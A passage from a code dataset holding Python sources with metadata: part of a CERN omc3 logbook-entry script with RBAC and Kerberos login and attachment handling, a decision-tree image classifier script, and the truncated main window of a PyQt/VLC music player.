LOGGER.debug(\n f\"Getting RBAC token from location failed. \"\n f\"{e.__class__.__name__}: {str(e)}\"\n )\n else:\n LOGGER.info(f\"Logged in to RBAC via location as user {rbac.user}.\")\n return rbac.token\n\n try:\n rbac.authenticate_kerberos()\n except CONNECTION_ERRORS as e:\n LOGGER.debug(\n f\"Getting RBAC token via Kerberos failed. \"\n f\"{e.__class__.__name__}: {str(e)}\"\n )\n else:\n LOGGER.info(f\"Logged in to RBAC via Kerberos as user {rbac.user}.\")\n return rbac.token\n\n # DEBUG ONLY ---\n # try:\n # rbac.authenticate_explicit(user=input(\"Username: \"), password=input(\"Password: \"))\n # except CONNTECTION_ERRORS as e:\n # LOGGER.debug(\n # f\"Explicit RBAC failed. \"\n # f\"{e.__class__.__name__}: {str(e)}\"\n # )\n # else:\n # LOGGER.info(f\"Logged in to RBAC as user {rbac.user}.\")\n # return rbac.token\n\n raise NameError(\"Could not get RBAC token.\")\n\n\ndef _get_attachments(files: Iterable[Union[str, Path]],\n filenames: Iterable[str] = None,\n pdf2png: bool = False) -> List[AttachmentBuilderType]:\n \"\"\" Read the file-attachments and assign their names. \"\"\"\n if files is None:\n return []\n\n if filenames and len(filenames) != len(files):\n raise ValueError(\n f\"List of files (length {len(files)}) and \"\n f\"list of filenames (length: {filenames}) \"\n f\"need to be of equal length.\"\n )\n\n _add_mimetypes(files)\n if filenames is None:\n filenames = [None] * len(files)\n\n # TODO: Return iterator, reading attachments only when needed?\n attachments = []\n for filepath, filename in zip(files, filenames):\n filepath = Path(filepath)\n attachment = AttachmentBuilder.from_file(filepath)\n attachments.append(attachment)\n\n # Convert pdf to png if desired\n png_attachment = None\n if pdf2png and filepath.suffix.lower() == \".pdf\":\n png_attachment = _convert_pdf_to_png(filepath)\n\n if png_attachment:\n attachments.append(png_attachment)\n\n # Assign new filenames\n if filename and filename.lower() != \"none\":\n attachment.short_name = filename\n if png_attachment:\n png_attachment.short_name = filename.replace(\".pdf\", \".png\").replace(\".PDF\", \".png\")\n\n return attachments\n\n\ndef _add_mimetypes(files: Iterable[Union[str, Path]]):\n \"\"\" Adds all unknown suffixes as plain/text, which should suffice for our\n purposes.\n TODO: if it's a binary sdds file, it should be 'application/octet-stream'\n see https://stackoverflow.com/a/6783972/5609590\n\n This is done, because the attachment builder uses the mimetypes package\n to guess the mimetype and if it doesn't find it (e.g. `.tfs` or `.dat`)\n raises an error.\n \"\"\"\n if files is None:\n return\n\n for f in files:\n f_path = Path(f)\n mime, _ = mimetypes.guess_type(f_path.name)\n if mime is None:\n mimetypes.add_type(\"text/plain\", f.suffix, strict=True)\n\n\ndef _convert_pdf_to_png(filepath: Path):\n \"\"\" Convert the first page of a pdf file into a png image. \"\"\"\n try:\n import fitz # PyMuPDF, imported as fitz for backward compatibility reasons\n except ImportError:\n LOGGER.warning(\"Missing `pymupdf` package. PDF conversion not possible.\")\n return None\n\n doc = fitz.open(filepath) # open document\n\n if len(doc) > 1:\n LOGGER.warning(f\"Big PDF-File with {len(doc)} pages found. \"\n \"Conversion only implemented for single-page files. \"\n \"Skipping conversion.\")\n return None\n\n pixmap = doc[0].get_pixmap(dpi=PNG_DPI) # only first page\n attachment = AttachmentBuilder.from_bytes(\n contents=pixmap.tobytes(\"png\"),\n mime_type=\"image/png\",\n name=filepath.with_suffix(\".png\").name\n )\n return attachment\n\n\n# Script Mode ------------------------------------------------------------------\n\nif __name__ == '__main__':\n main()\n\n", "sub_path": "omc3/scripts/create_logbook_entry.py", "file_name": "create_logbook_entry.py", "file_ext": "py", "file_size_in_byte": 8114, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "omc3.utils.mock.cern_network_import", "line_number": 61, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilderType", "line_number": 68, "usage_type": "name"}, {"api_name": "pylogbook.models.Event", "line_number": 68, "usage_type": "name"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilder", "line_number": 69, "usage_type": "name"}, {"api_name": "urllib3.disable_warnings", "line_number": 72, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 72, "usage_type": "attribute"}, {"api_name": "requests.exceptions.HTTPError", "line_number": 75, "usage_type": "name"}, {"api_name": "requests.exceptions.ConnectionError", "line_number": 75, "usage_type": "name"}, {"api_name": "requests.exceptions.ConnectTimeout", "line_number": 75, "usage_type": "name"}, {"api_name": "omc3.utils.logging_tools.get_logger", "line_number": 80, "usage_type": "call"}, {"api_name": "generic_parser.EntryPointParameters", "line_number": 83, "usage_type": "call"}, {"api_name": "omc3.utils.iotools.PathOrStr", "line_number": 95, "usage_type": "name"}, {"api_name": "omc3.utils.iotools.OptionalStr", "line_number": 100, "usage_type": "name"}, {"api_name": "pylogbook._attachment_builder.Client", "line_number": 127, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder", "line_number": 127, "usage_type": "name"}, {"api_name": "pylogbook._attachment_builder.ActivitiesClient", "line_number": 128, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder", "line_number": 128, "usage_type": "name"}, {"api_name": "generic_parser.entrypoint", "line_number": 119, "usage_type": "call"}, {"api_name": "pylogbook.models.Event", "line_number": 120, "usage_type": "name"}, {"api_name": "omc3.utils.rbac.RBAC", "line_number": 145, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 145, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 183, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 183, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 183, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 184, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 204, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilder.from_file", "line_number": 205, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilder", "line_number": 205, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 185, "usage_type": "name"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilderType", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 225, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 225, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 225, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 239, "usage_type": "call"}, {"api_name": "mimetypes.guess_type", "line_number": 240, "usage_type": "call"}, {"api_name": "mimetypes.add_type", "line_number": 242, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 245, "usage_type": "name"}, {"api_name": "fitz.open", "line_number": 253, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilder.from_bytes", "line_number": 262, "usage_type": "call"}, {"api_name": "pylogbook._attachment_builder.AttachmentBuilder", "line_number": 262, "usage_type": "name"}]} {"seq_id": "412875827", "text": "# put this python source code on the main folder of the dataset\n# command line scripts: \"python3 thisfilename.py <trainingFolder> <testdataFolder> <csvoutputPrefix>\"\n# constraints (1+2): <trainingFolder> and <testdataFolder> must exist\n# constraints (3): <csvoutputPrefix> must make sure any generated files didn't already exist\n\n# data would be distributed as following:\n# a \"training\" folder, consists of labelled images\n# \"training\" folder has subfolders, each contains images of the same label, and the folder itself is named after that label\n# a \"testdata\" folder, consists of unlabelled images, used to test the accuracy of the modules\n\nfrom sys import argv\nimport os, time, sys, psutil\nfrom sklearn.tree import DecisionTreeClassifier\nimport cv2\nfrom glob import glob\n\n# initialize if the project folder doesn't contain a \"csv\" output folder yet\nif not 'csv/' in glob('*/'):\n os.mkdir(\"csv/\")\n\n# logs initialization\nif not 'logs/' in glob('*/'):\n os.mkdir(\"logs/\")\nlogname = \"logs/logs-\" + str(int(time.time() // 1)) + '.txt'\nglobal logfile; logfile = None\n\n# redefine \"print\" function to write in both stdout and logs\ndef write(str, end='\\n', flush=False):\n print(str, end=end, flush=flush)\n logfile.write(str+end)\n\n# exception handling\ndef filteringException():\n if len(argv) != 4:\n # incorrect arguments count\n write('Incorrect format!')\n write('Valid format: \"python3 thisfilename.py <trainingFolder> <testdataFolder> <csvoutputPrefix>\"')\n sys.exit(-1)\n else:\n # folders not found\n if not os.path.isdir(argv[1]):\n write('Training folder \"{}\" not found!'.format(argv[1]))\n sys.exit(-4041)\n if not os.path.isdir(argv[2]):\n write('Testdata folder \"{}\" not found!'.format(argv[2]))\n sys.exit(-4042)\n\n# processing arguments after surpassed all exception tests\ndef processArguments():\n # defining paths for data\n # would be glad if paths being of any OS' but Windows :)\n trainingFolder = argv[1] + '/'\n testdataFolder = argv[2] + '/'\n csvoutputPrefix = 'csv/' + argv[3]\n\n return trainingFolder, testdataFolder, csvoutputPrefix\n\n# reading training data from training directories\ndef readImages_Training(trainingFolder):\n # initialize\n primalPath = trainingFolder\n subfolderList = sorted(glob(primalPath + '*/'))\n write('Begin loading from ' + primalPath + ' ...', flush=True)\n cntimg = 0; totalcnt = 0\n imgList = []; labelList = []\n startTime = time.time()\n\n # iterate all subfolders\n for path in subfolderList:\n id = path.replace(primalPath, '').replace('/', '')\n write('Begin loading from ' + path + ' ...', flush=True)\n cntimg = 0\n # iterate all images within subfolders\n for filename in os.listdir(path):\n imgList.append(cv2.imread(path + filename, 0).flatten())\n labelList.append(id)\n cntimg += 1; totalcnt += 1\n write('Loading sample image #' + str(cntimg) + ' from folder #' + str(id) + '...\\r', end='', flush=True)\n write('', end='\\n')\n \n # finalize and return value\n endTime = time.time()\n write('Successfully loaded ' + str(totalcnt) + ' images.', flush=True)\n write('Elapsed time: ' + str(endTime - startTime) + ' seconds.', flush=True)\n del primalPath, subfolderList, cntimg, totalcnt, startTime, endTime\n return imgList, labelList\n\n# reading test data from test directories\ndef readImages_TestData(testdataFolder):\n # initialize\n path = testdataFolder\n write('Begin loading from ' + path + ' ...', flush=True)\n cntimg = 0\n tmpList = []; fnameList = []\n startTime = time.time()\n\n # iterate all images\n for filename in os.listdir(path):\n tmpList.append(cv2.imread(path + filename, 0).flatten())\n fnameList.append(filename)\n cntimg += 1\n write('Loading test image #' + str(cntimg) + '...\\r', end='', flush=True)\n \n # finalize and return value\n endTime = time.time()\n write('\\nSuccessfully loaded ' + str(cntimg) + ' images.', flush=True)\n write('Elapsed time: ' + str(endTime - startTime) + ' seconds.', flush=True)\n del path, cntimg, startTime, endTime\n return tmpList, fnameList\n\n# perform predictions with given modules, target csv file and list of images to be predicted\ndef prediction(module, csvFileName, testList, fnameList):\n # initialize\n csvOutput = open(csvFileName, 'w')\n csvOutput.write('ImageID,Label\\n')\n cntimg = len(testList)\n startTime = time.time()\n\n # perform prediction by built-in predict() function\n write('Begin predicting...', flush=True)\n write('Writing target: ' + csvFileName + ' ...', flush=True)\n labelList = module.predict(testList)\n\n # writing prediction results into csv\n for i in range(cntimg):\n csvOutput.write(fnameList[i] + ',' + str(labelList[i]) + '\\n')\n \n # finalize and close file output stream\n endTime = time.time()\n write('Successfully predicted ' + str(cntimg) + ' images.', flush=True)\n write('Elapsed time: ' + str(endTime - startTime) + ' seconds.', flush=True)\n csvOutput.close()\n del csvOutput, cntimg, startTime, endTime, labelList\n\n# printing logs for consumed memories\ndef displayMemory(MemBefore, MemAfter):\n memUsage = MemAfter - MemBefore\n write('Memory usage: %.2f MiB || %.2f KiB.' % (memUsage / 1048576, memUsage / 1024))\n\n# main function of this source code\ndef mainFunction(process, trainingFolder, testdataFolder, csvPrefix):\n # reading training data\n imgs, labels = readImages_Training(trainingFolder)\n\n # reading test data\n testimgs, testnames = readImages_TestData(testdataFolder)\n\n # initialize output csv\n csvResult = csvPrefix + '.csv'\n\n # terminate if output csv file exists\n if os.path.isfile(csvResult):\n write('Error, file {} already exists!'.format(csvResult))\n sys.exit(-4096)\n\n # initialize module\n write('\\nBegin training using ' + str(len(imgs)) + ' images...', flush=True)\n MemBefore = process.memory_info().rss\n startTime = time.time()\n DT_Module = DecisionTreeClassifier(criterion='entropy', splitter='best')\n DT_Module.fit(imgs, labels)\n endTime = time.time()\n MemAfter = process.memory_info().rss\n write('Successfully fitted ' + str(len(imgs)) + ' images.', flush=True)\n write('Elapsed time: ' + str(endTime - startTime) + ' seconds.', flush=True)\n displayMemory(MemBefore, MemAfter)\n\n # perform prediction\n prediction(DT_Module, csvResult, testimgs, testnames)\n del DT_Module, startTime, endTime, MemBefore, MemAfter\n\nif __name__ == \"__main__\":\n # initialize memory monitor\n this_process = psutil.Process(os.getpid())\n\n # initialize logfiles\n logfile = open(logname, 'w')\n logfile.write('Command line: python3 ')\n for arg in argv: logfile.write(arg + ' ')\n logfile.write('\\n\\n')\n\n # handling exceptions and arguments\n filteringException()\n trainingFolder, testdataFolder, csvPrefix = processArguments()\n \n # main training\n mainFunction(this_process, trainingFolder, testdataFolder, csvPrefix)\n\n # finish logging\n logfile.close()\n print('Logs saved into ' + logname + '.')\n", "sub_path": "DT-ImageClassifications.py", "file_name": "DT-ImageClassifications.py", "file_ext": "py", "file_size_in_byte": 7199, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "glob.glob", "line_number": 18, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 19, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 23, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "argument"}, {"api_name": "sys.exit", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 44, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 45, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 52, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 53, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 54, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 62, "usage_type": "call"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 75, "usage_type": "call"}, {"api_name": "time.time", "line_number": 82, "usage_type": "call"}, {"api_name": "time.time", "line_number": 95, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 99, "usage_type": "call"}, {"api_name": "time.time", "line_number": 105, "usage_type": "call"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 154, "usage_type": "call"}, {"api_name": "time.time", "line_number": 159, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 160, "usage_type": "call"}, {"api_name": "time.time", "line_number": 162, "usage_type": "call"}, {"api_name": "psutil.Process", "line_number": 174, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 174, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 179, "usage_type": "name"}]} {"seq_id": "384039782", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport os, sys, subprocess, functools\nfrom PyQt5 import QtWidgets, QtGui, QtCore\nfrom playerVLC import *\nimport mainWindow # import of mainWindow.py made with pyuic5\nfrom musicBase import *\nfrom musicDirectory import *\nfrom database import *\n\n\nfrom dialogMusicDirectoriesLoader import *\nfrom streamObserver import *\nfrom albumThread import *\nfrom musicBaseThread import *\nfrom playlistWidget import *\n\n\n\ndef open_file(filename):\n if sys.platform == \"win32\":\n os.startfile(filename)\n else:\n opener =\"open\" if sys.platform == \"darwin\" else \"xdg-open\"\n subprocess.call([opener, filename])\n\n\n\nclass MainWindowLoader(QtWidgets.QMainWindow):\n\n def __init__(self, parent=None,app=None,musicbase=None,player=None,translator=None):\n QtWidgets.QMainWindow.__init__(self, parent)\n\n self.app = app\n self.translator = translator\n self.musicBase = musicbase\n self.player = player\n\n self.settings = QtCore.QSettings('pyzik', 'pyzik')\n self.firstShow = True\n self.playList = None\n self.currentArtist = artist(\"\",0)\n self.currentAlbum = album(\"\")\n\n self.coverPixmap = QtGui.QPixmap()\n self.defaultPixmap = QtGui.QPixmap()\n\n self.ui = mainWindow.Ui_MainWindow()\n self.ui.setupUi(self)\n\n \n self.setTitleLabel(\"\")\n self.setWindowTitle(\"PyZik\")\n\n self.initAlbumTableWidget()\n self.initTrackTableWidget()\n\n self.showArtists()\n self.loadSettings()\n \n\n #Connect UI triggers\n self.ui.listViewArtists.selectionModel().currentChanged.connect(self.onArtistChange)\n self.ui.actionMusic_directories.triggered.connect(self.onMenuMusicDirectories)\n self.ui.actionExplore_music_directories.triggered.connect(self.onMenuExplore)\n self.ui.actionRandom_album.triggered.connect(self.ramdomAlbum)\n self.ui.actionDelete_database.triggered.connect(self.onMenuDeleteDatabase)\n self.ui.actionFuzzyGroovy.triggered.connect(self.onPlayFuzzyGroovy)\n self.ui.actionPlaylist.triggered.connect(self.showPlaylist)\n self.ui.actionLanguageSpanish.triggered.connect(functools.partial(self.changeLanguage, 'es'))\n self.ui.actionLanguageFrench.triggered.connect(functools.partial(self.changeLanguage, 'fr'))\n self.ui.actionLanguageEnglish.triggered.connect(functools.partial(self.changeLanguage, 'en'))\n self.ui.playButton.clicked.connect(self.onPlayAlbum)\n self.ui.addAlbumButton.clicked.connect(self.onAddAlbum)\n self.ui.pauseButton.clicked.connect(self.onPauseAlbum)\n #self.ui.nextButton.clicked.connect(self.player.mediaListPlayer.next)\n self.ui.openDirButton.clicked.connect(self.onOpenDir)\n #self.ui.previousButton.clicked.connect(self.player.mediaListPlayer.previous)\n self.ui.searchEdit.textChanged.connect(self.onSearchChange)\n self.ui.searchEdit.returnPressed.connect(self.onSearchEnter)\n self.ui.tableWidgetAlbums.selectionModel().currentRowChanged.connect(self.onAlbumChange)\n self.ui.tableWidgetAlbums.customContextMenuRequested.connect(self.handleHeaderMenu)\n \n self.shortcutRandomAlbum = QtWidgets.QShortcut(QtGui.QKeySequence(\"Ctrl+R\"), self)\n self.shortcutRandomAlbum.activated.connect(self.ramdomAlbum)\n\n\n #Connect VLC triggers\n self.player.mpEnventManager.event_attach(vlc.EventType.MediaPlayerMediaChanged, self.onPlayerMediaChangedVLC)\n self.player.mpEnventManager.event_attach(vlc.EventType.MediaPlayerPaused, self.paused)\n self.player.mpEnventManager.event_attach(vlc.EventType.MediaPlayerPlaying, self.isPlaying)\n #self.player.mpEnventManager.event_attach(vlc.EventType.MediaPlayerPositionChanged, self.onPlayerPositionChanged)\n #self.player.mpEnventManager.event_attach(vlc.EventType.MediaPlayerAudioVolume , self.setVolumeSliderFromPlayer)\n\n\n self.ui.volumeSlider.setMaximum(100)\n\n self.ui.volumeSlider.setValue(self.volume)\n self.player.setVolume(self.volume)\n self.ui.volumeSlider.valueChanged.connect(self.setVolume)\n \n \n #Write message in status bar\n self.ui.statusBar.showMessage(\"PyZik\")\n\n\n self.threadStreamObserver = streamObserver()\n self.threadStreamObserver.player = self.player\n self.threadStreamObserver.titleChanged.connect(self.setStatus)\n \n self.player.mpEnventManager.event_attach(vlc.EventType.MediaPlayerStopped, self.threadStreamObserver.resetPreviousTitle)\n\n self.threadStreamObserver.start()\n\n\n self.loadAlbumFilesThread = loadAlbumFilesThread()\n self.loadAlbumFilesThread.setTerminationEnabled(True)\n self.loadAlbumFilesThread.imagesLoaded.connect(self.showAlbumCover)\n self.loadAlbumFilesThread.tracksLoaded.connect(self.showAlbumTracks)\n\n self.exploreAlbumsDirectoriesThread = exploreAlbumsDirectoriesThread()\n #self.exploreAlbumsDirectoriesThread.progressChanged.connect(self.showAlbumTracks)\n self.exploreAlbumsDirectoriesThread.exploreCompleted.connect(self.showArtists)\n\n self.ui.coverWidget.resizeEvent = self.resizeEvent\n \n def showEvent(self,event):\n #This function is called when the mainWindow is shown\n if self.firstShow == True:\n self.ramdomAlbum()\n self.firstShow = False\n\n def onPlayFuzzyGroovy(self): \n self.player.playFuzzyGroovy()\n self.showPlaylist(True)\n self.setVolume(self.getVolumeFromSlider())\n\n \n\n def ramdomAlbum(self):\n alb = self.musicBase.albumCol.getRandomAlbum()\n self.currentAlbum = alb\n if alb is not None:\n print(\"RamdomAlb=\"+alb.title)\n art = self.musicBase.artistCol.getArtistByID(alb.artistID)\n self.currentArtist = art\n self.selectArtistListView(art)\n self.showArtist(art)\n #self.showAlbum(alb)\n\n\n\n def setVolume(self, volume):\n self.player.setVolume(volume)\n\n def getVolumeFromSlider(self):\n return self.ui.volumeSlider.value()\n\n def setVolumeSliderFromPlayer(self,event):\n volume = self.player.getVolume()\n self.ui.volumeSlider.setValue(volume)\n\n def setStatus(self,msg):\n #self.ui.labelArtist.setText(msg)\n self.ui.statusBar.showMessage(msg)\n\n def paused(self,event):\n print(\"Paused!\")\n\n def isPlaying(self,event):\n print(\"isPlaying!\")\n \n\n\n '''\n Init widgets\n '''\n def initAlbumTableWidget(self):\n self.ui.tableWidgetAlbums.setRowCount(0)\n hHeader = self.ui.tableWidgetAlbums.horizontalHeader()\n vHeader = self.ui.tableWidgetAlbums.verticalHeader()\n vHeader.hide()\n hHeader.setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)\n hHeader.setSectionResizeMode(1, QtWidgets.QHeaderView.ResizeToContents)\n hHeader.hideSection(2)\n\n def initTrackTableWidget(self):\n self.ui.tableWidgetTracks.setRowCount(0)\n hHeader = self.ui.tableWidgetTracks.horizontalHeader()\n vHeader = self.ui.tableWidgetTracks.verticalHeader()\n vHeader.hide()\n hHeader.setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)\n hHeader.setSectionResizeMode(1, QtWidgets.QHeaderView.ResizeToContents)\n hHeader.hideSection(2)\n \n\n '''\n Menu Actions\n '''\n def onMenuMusicDirectories(self):\n self.musicBase.db = database()\n dirDiag = DialogMusicDirectoriesLoader(self.musicBase)\n dirDiag.show()\n dirDiag.exec_()\n \n def onMenuExplore(self):\n self.exploreAlbumsDirectoriesThread.musicBase = self.musicBase \n self.wProgress = progressWidget()\n self.exploreAlbumsDirectoriesThread.progressChanged.connect(self.wProgress.setValue)\n self.exploreAlbumsDirectoriesThread.directoryChanged.connect(self.wProgress.setDirectoryText)\n self.exploreAlbumsDirectoriesThread.exploreCompleted.connect(self.wProgress.close)\n self.exploreAlbumsDirectoriesThread.exploreCompleted.connect(self.onExploreCompleted)\n self.wProgress.progressClosed.connect(self.exploreAlbumsDirectoriesThread.stop)\n self.exploreAlbumsDirectoriesThread.start()\n \n def onExploreCompleted(self,event):\n self.musicBase.db = database()\n\n \n def onMenuDeleteDatabase(self):\n self.musicBase.db.dropAllTables()\n self.musicBase.emptyDatas()\n self.showArtists()\n self.initAlbumTableWidget()\n\n def handleHeaderMenu(self, pos):\n print('column(%d)' % self.ui.tableWidgetAlbums.horizontalHeader().logicalIndexAt(pos))\n menu = QtWidgets.QMenu()\n menu.addAction('Add')\n menu.addAction('Delete')\n menu.exec(QtGui.QCursor.pos())\n\n\n '''\n Artist listView functions\n '''\n def showArtists(self):\n # Add artists in the QListView\n model = QtGui.QStandardItemModel(self.ui.listViewArtists)\n for art in self.musicBase.artistCol.artists:\n itemArt = QtGui.QStandardItem(art.name)\n itemArt.artist = art\n art.itemListViewArtist = itemArt\n model.appendRow(itemArt)\n\n self.ui.listViewArtists.setModel(model)\n self.ui.listViewArtists.show()\n self.ui.listViewArtists.selectionModel().currentChanged.connect(self.onArtistChange)\n\n def setHiddenAllArtistItem(self,hide):\n #Hide all artists\n model = self.ui.listViewArtists.model()\n for i in range(model.rowCount()):\n self.ui.listViewArtists.setRowHidden(i,hide)\n\n def getFirstVisibleArtistItem(self):\n model = self.ui.listViewArtists.model()\n for i in range(model.rowCount()):\n if(not self.ui.listViewArtists.isRowHidden(i)):\n return model.item(i)\n \n def onArtistChange(self,item):\n #When call from listView, item is a QModelIndex\n nrow = item.row()\n \n model = self.ui.listViewArtists.model()\n if self.currentArtist.artistID != model.item(nrow).artist.artistID :\n self.showArtist(model.item(nrow).artist)\n \n \n\n def selectArtistListView(self,artist):\n\n item = artist.itemListViewArtist\n\n selModel = self.ui.listViewArtists.selectionModel()\n selModel.reset()\n selModel.select(item.index(), QtCore.QItemSelectionModel.SelectCurrent)\n\n self.ui.listViewArtists.scrollTo(item.index(), QtWidgets.QAbstractItemView.PositionAtCenter)\n\n '''\n Search artist functions\n '''\n def onSearchEnter(self):\n #After typing, the user hit enter\n #to select the first artist found\n item = self.getFirstVisibleArtistItem()\n if item is not None:\n selModel = self.ui.listViewArtists.selectionModel()\n selModel.reset()\n selModel.select(item.index(), QtCore.QItemSelectionModel.Select)\n self.showArtist(item.artist)\n\n def onSearchChange(self,item):\n #When user write a search, shows only matching artists\n search = self.ui.searchEdit.text()\n\n if(len(search)==0):\n self.setHiddenAllArtistItem(False)\n else:\n self.setHiddenAllArtistItem(True)\n items = self.ui.listViewArtists.model().findItems(search,QtCore.Qt.MatchContains)\n for item in items:\n i = item.row()\n self.ui.listViewArtists.setRowHidden(i,False)\n\n\n\n '''\n Album tableWidget functions\n '''\n def getAlbumFromTable(self):\n #Return the selected album\n selAlbItems = self.ui.tableWidgetAlbums.selectedItems()\n for item in selAlbItems:\n r = item.row()\n albumIDSel = self.ui.tableWidgetAlbums.item(r,2).text()\n \n alb = self.musicBase.albumCol.getAlbum(albumIDSel)\n if(alb.albumID == 0): \n print(\"Album is Empty. Item:\"+str(item))\n return alb\n\n\n def onAlbumChange(self,item):\n if item.row() >= 0:\n print(\"OnAlbumChange:\"+str(item.row()))\n albumIDSel = self.ui.tableWidgetAlbums.item(item.row(),2).text()\n alb = self.musicBase.albumCol.getAlbum(albumIDSel)\n if(alb.albumID != 0):\n self.showAlbum(alb)\n else:\n print(\"No album to show\")\n\n def showArtist(self,artist):\n self.currentArtist = artist\n self.showAlbums(self.currentArtist)\n\n def showAlbums(self,artist):\n #Add albums in the QTableView\n\n print(\"Show albums Art=\"+artist.name)\n\n if self.currentAlbum is None:\n self.currentAlbum = artist.getRandomAlbum()\n\n if self.currentAlbum.artistID is not artist.artistID:\n self.currentAlbum = artist.getRandomAlbum()\n\n self.ui.tableWidgetAlbums.setRowCount(0)\n indexToSel = 0\n i=0\n artist.sortAlbums()\n for alb in artist.albums:\n self.ui.tableWidgetAlbums.insertRow(i)\n\n titleItem = QtWidgets.QTableWidgetItem(alb.title)\n titleItem.setFlags(titleItem.flags() ^ QtCore.Qt.ItemIsEditable)\n self.ui.tableWidgetAlbums.setItem(i,0,titleItem)\n\n yearItem = QtWidgets.QTableWidgetItem(str(alb.year))\n yearItem.setFlags(yearItem.flags() ^ QtCore.Qt.ItemIsEditable)\n self.ui.tableWidgetAlbums.setItem(i,1,yearItem)\n \n idItem = QtWidgets.QTableWidgetItem(str(alb.albumID))\n idItem.setFlags(idItem.flags() ^ QtCore.Qt.ItemIsEditable)\n self.ui.tableWidgetAlbums.setItem(i,2,idItem)\n\n\n if(i==0 and self.currentAlbum == None):\n print(\"Show first album\")\n \n elif(alb.albumID==self.currentAlbum.albumID):\n print(\"showAlbums() --> Select album=\"+alb.title)\n indexToSel = i\n #self.ui.tableWidgetAlbums.selectRow(i)\n\n i+=1\n\n self.ui.tableWidgetAlbums.selectRow(indexToSel)\n self.ui.tableWidgetAlbums.scrollTo(self.ui.tableWidgetAlbums.currentIndex(), QtWidgets.QAbstractItemView.PositionAtCenter)\n\n #self.ui.tableWidgetAlbums.show()\n\n\n def showAlbum(self,album):\n print(\"showAlbum: \"+album.title)\n self.currentAlbum = album\n self.setTitleLabel(self.currentArtist.name,album.title,album.year)\n \n #Start a thread to load album datas from directory\n #When updated, triggers launch showAlbumCover and showAlbumTracks\n if self.loadAlbumFilesThread.isRunning() :\n print(\"Stop Thread loadAlbum\")\n self.loadAlbumFilesThread.stop()\n self.loadAlbumFilesThread.wait()\n \n self.loadAlbumFilesThread.album = album\n self.loadAlbumFilesThread.player = self.player\n self.loadAlbumFilesThread.start()\n\n\n def showAlbumTracks(self,result): \n #self.ui.tableWidgetTracks.setColumnCount(1)\n self.ui.tableWidgetTracks.setRowCount(0)\n i=0\n for track in self.currentAlbum.tracks:\n self.ui.tableWidgetTracks.insertRow(i)\n titleItem = QtWidgets.QTableWidgetItem(track.title)\n titleItem.setFlags(titleItem.flags() ^ QtCore.Qt.ItemIsEditable)\n self.ui.tableWidgetTracks.setItem(i,0,titleItem)\n i+=1\n\n def showAlbumCover(self,result):\n album = self.currentAlbum\n if album.cover != \"\":\n self.showCover(os.path.join(album.getAlbumDir(),album.cover)) \n else:\n self.showCover(\"\")\n\n\n '''\n Interactions with vlc module\n '''\n def playAlbum(self,alb):\n '''Add tracks in playlist and start playing'''\n \n #self.player.dropMediaList()\n self.player.playAlbum(alb)\n self.setVolume(self.getVolumeFromSlider())\n self.showPlaylist(True)\n\n def addAlbum(self,alb):\n '''Add tracks in playlist and start playing'''\n self.player.addAlbum(alb)\n self.setVolume(self.getVolumeFromSlider())\n self.showPlaylist(True)\n\n\n def showPlaylist(self,showOnlyIfNew=False):\n isNew = False\n if self.playList is None:\n 